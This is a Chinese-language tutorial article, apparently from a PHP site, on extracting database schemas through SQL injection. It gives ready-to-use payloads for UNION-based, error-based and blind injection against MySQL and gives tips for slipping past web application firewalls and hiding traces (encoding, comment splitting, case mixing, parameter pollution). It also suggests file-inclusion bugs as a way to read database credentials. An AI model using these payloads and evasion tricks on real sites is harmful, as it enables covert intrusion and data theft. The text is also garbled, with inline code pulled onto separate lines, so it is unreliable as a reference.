答案:通过SQL注入提取数据库结构需利用元数据系统如information_schema,结合UNION SELECT获取数据库名、表名和列名;为绕过WAF和隐藏痕迹,可采用盲注、错误注入、编码混淆、注释分割、大小写变异、HTTP参数污染及时间延迟等技术,逐步探测并提取信息,同时降低被检测风险。

通过SQL注入提取数据库结构,核心在于利用数据库的元数据信息系统,例如MySQL的
information_schema
UNION SELECT
解决方案
说实话,要通过SQL注入提取数据库结构,最直接也最常用的方法就是利用数据库自带的元数据信息。以MySQL为例,
information_schema
具体怎么操作呢?
确定注入点和列数: 这是老生常谈了。你得先找到一个能被注入的参数,比如
id=1
ORDER BY
UNION SELECT NULL, NULL...
# 猜解列数 ORDER BY 10 --+ (如果报错,说明没有10列) ORDER BY 3 --+ (如果正常,说明至少有3列)
定位可显示列: 接下来,我们需要知道哪一列的数据会显示在页面上。这通常通过
UNION SELECT NULL, '可显示', NULL
# 假设第2列是可显示的 -1 UNION SELECT NULL, 'Hello World', NULL --+
提取当前数据库名: 有了可显示列,我们就可以开始提取信息了。首先是当前数据库名。
-1 UNION SELECT NULL, DATABASE(), NULL --+
提取所有表名: 知道了数据库名,下一步就是获取这个数据库下的所有表名。
information_schema.tables
-1 UNION SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema = DATABASE() --+
这里用
GROUP_CONCAT
提取特定表的列名: 假设我们通过上一步得到了一个名为
users
information_schema.columns
-1 UNION SELECT NULL, GROUP_CONCAT(column_name), NULL FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users' --+
通过这些步骤,你就能把数据库的结构一步步摸清楚。但问题是,这种方法太“标准”了,也很容易被检测到。
information_schema
在我看来,传统的
information_schema
information_schema.tables
information_schema.columns
这就给安全防护系统(比如WAF,Web应用防火墙)和IDS(入侵检测系统)提供了一个非常明显的“指纹”。WAF的规则库里,大概率会把
information_schema
table_name
column_name
UNION SELECT
OR
AND
更糟糕的是,很多数据库系统,特别是像MySQL这样的,它的
information_schema
information_schema
information_schema
这确实是实战中经常遇到的难题。当
information_schema
首先,错误注入(Error-based Injection)是一个很有效的替代方案。很多数据库在处理某些不规范的SQL函数或类型转换时,会把错误信息直接抛出来,而这些错误信息里往往包含了我们想要的数据。比如在MySQL中,
EXTRACTVALUE
UPDATEXML
# 假设我们想获取第一个表名,但information_schema被过滤 # 尝试利用错误信息: -1 UNION SELECT NULL, EXTRACTVALUE(1, CONCAT(0x3a, (SELECT table_name FROM information_schema.tables LIMIT 1))), NULL --+
你看,即使
information_schema
information_schema
users
admin
products
articles
其次,盲注(Blind SQL Injection)是更隐蔽但效率低下的方法。它不直接显示数据,而是通过判断页面响应(布尔盲注)或响应时间(时间盲注)来逐字符、逐位地推断数据。
布尔盲注: 页面会根据条件真假显示不同内容。
# 检查第一个表名的第一个字符是不是'a' AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables LIMIT 1) = 'a' --+
如果页面显示正常,说明条件为真;如果页面显示错误或不同,则为假。这样,你就可以逐个字符地猜解表名和列名。这非常慢,但几乎不会被检测到。
时间盲注: 页面响应时间会根据条件真假有所不同。
# 如果第一个表名的第一个字符是'a',就让数据库延迟5秒响应 AND IF((SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables LIMIT 1) = 'a', SLEEP(5), 0) --+
这种方法甚至比布尔盲注还要慢,但隐蔽性极强,WAF很难通过内容识别。
最后,利用数据库特定的系统视图也是一个思路。比如在PostgreSQL中,你可以查
pg_class
pg_attribute
sys.objects
sys.columns
information_schema
information_schema
要更进一步隐藏元数据提取的痕迹,这不仅仅是技术层面的操作,更像是一场心理战和绕过艺术。目标是让你的注入看起来不像注入,或者至少让自动化防御系统难以识别。
一个常用的策略是字符编码绕过。WAF通常会识别特定的关键字和模式。如果你能把这些关键字用不同的编码方式表示,WAF可能就傻眼了。比如,把
UNION SELECT
# 混淆 information_schema # 尝试使用编码或注释分割 # %20 是空格的URL编码 -1%20UNIO%4E%20SELECT%20NULL,%20GROUP_CONCAT(table_name),%20NULL%20FROM%20informa%74ion_schema.tables%20WHERE%20table_schema%20=%20DATABASE()--+
这里我故意把
N
%4E
t
%74
注释绕过也是屡试不爽的技巧。在SQL中,注释符(
/**/
--
#
# 利用注释分割关键字 -1 UNION/**/SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE()--+ # MySQL特有的内联注释,可以绕过一些WAF对空格的检测 -1 UNION/*!SELECT*/ NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE()--+
/*! ... */
大小写混淆虽然简单,但对于一些不区分大小写的WAF规则来说,也可能有效。把
information_schema
information_schema
UNION SELECT
UNION SELECT
HTTP参数污染(HTTP Parameter Pollution - HPP)是另一种高级技巧。如果后端服务器或应用对重复的HTTP参数处理不当,你可以发送多个同名参数,把注入语句分割开来。例如:
?id=1&id=UNION&id=SELECT&id=...
此外,时间延迟与随机化在时间盲注中至关重要。纯粹的
SLEEP(5)
最后,有时候“隐藏”的最高境界是不通过SQL注入获取。如果能找到其他漏洞,比如文件读取漏洞(LFI/RFI),你可能会直接读取到配置文件,其中可能包含数据库连接字符串,包括数据库名、用户名、密码等。这虽然不是SQL注入本身,但最终目的都是获取元数据,而且这种方式可能更隐蔽、更直接。这需要攻击者跳出SQL注入的思维定式,从更广阔的攻击面去思考问题。
以上就是如何通过SQL注入提取数据库结构?隐藏元数据的技巧的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号